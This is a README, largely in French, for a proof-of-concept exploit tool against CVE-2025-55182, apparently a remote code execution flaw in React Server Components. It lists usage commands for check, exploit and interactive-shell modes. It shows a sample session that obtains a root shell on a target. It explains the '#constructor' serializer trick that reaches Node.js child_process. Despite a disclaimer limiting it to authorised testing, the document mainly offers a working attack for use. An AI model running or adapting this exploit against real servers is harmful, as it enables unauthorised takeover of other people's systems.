
Poc for CVE-2025-55182
PoC pour CVE-2025-55182
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. L'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. Le développeur décline toute responsabilité et n'est pas responsable de toute mauvaise utilisation ou des dommages causés par ce programme.
pip install requests
Vous pouvez exécuter l'outil en trois modes : Check, Exploit ou Interactive Shell.
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# À l'intérieur du shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
La vérification (Check) : Envoie une requête multipart définissant {} à l'index 1, et tente d'accéder à ["$1:a:a"]. Les serveurs non patchés plantent (HTTP 500) en essayant d'accéder à la propriété a de undefined. Les serveurs patchés renvoient HTTP 200.
L'exploitation (Exploit) : Envoie une requête multipart faisant référence à l'ID d'action valide, mais ajoute #constructor. Cela trompe le sérialiseur en lui faisant retourner le constructeur Function, permettant d'exécuter du JavaScript arbitraire (Node.js child_process) sur le serveur.